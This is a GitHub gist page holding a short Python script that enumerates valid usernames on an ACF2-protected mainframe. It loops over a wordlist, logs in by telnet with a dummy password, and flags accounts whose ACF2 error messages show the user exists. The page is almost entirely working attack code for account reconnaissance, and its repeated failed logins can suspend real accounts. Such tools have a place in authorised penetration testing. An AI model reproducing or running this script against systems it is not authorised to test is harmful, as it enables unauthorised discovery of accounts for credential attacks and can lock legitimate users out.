Skip to content

Instantly share code, notes, and snippets.

@llandeilocymro
Last active August 25, 2016 10:06
Show Gist options
  • Save llandeilocymro/e2e379cea91b1625cf7faf49db4871db to your computer and use it in GitHub Desktop.
Save llandeilocymro/e2e379cea91b1625cf7faf49db4871db to your computer and use it in GitHub Desktop.
ACF2 Username Enumeration
#!/usr/bin/python
# EDW - ACF2 Username Enumeration
import sys
import time
import optparse
import re
import signal
from telnetlib import Telnet
from socket import *
p = optparse.OptionParser("usage: %prog host user port", version="%prog 0.1")
p.add_option("-H", "--host", dest="host", type="string", help="specify hostname to run on")
p.add_option("-u", "--userfile", dest="user", type="string", help="file of usernames")
p.add_option("-p", "--port", dest="port", type="int", default=23, help="port number, default is 23")
(options, args) = p.parse_args()
host = options.host
user = options.user
port = options.port
def main():
try:
u = open(user).read().splitlines()
except IOError as e:
print "I/O error({0}): {1}".format(e.errno, e.strerror)
sys.exit()
for n in u:
tn = Telnet(host, 23, 120)
tn.write('test\r\n')
tn.read_some()
tn.write(n+'\r\n')
tn.read_some()
tn.write('pass\r\n')
data = tn.read_until('test',1)
if re.search (r"SUSPENDED BECAUSE OF PASSWORD VIOLATIONS",data):
print ("user found: "+str(n))
elif re.search (r"PASSWORD NOT MATCHED",data):
print ("user found: "+str(n))
tn.close()
def signal_handler(signal, frame):
print "\nCtrl+C pressed.. aborting..."
exit()
if __name__ == '__main__':
signal.signal(signal.SIGINT, signal_handler)
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment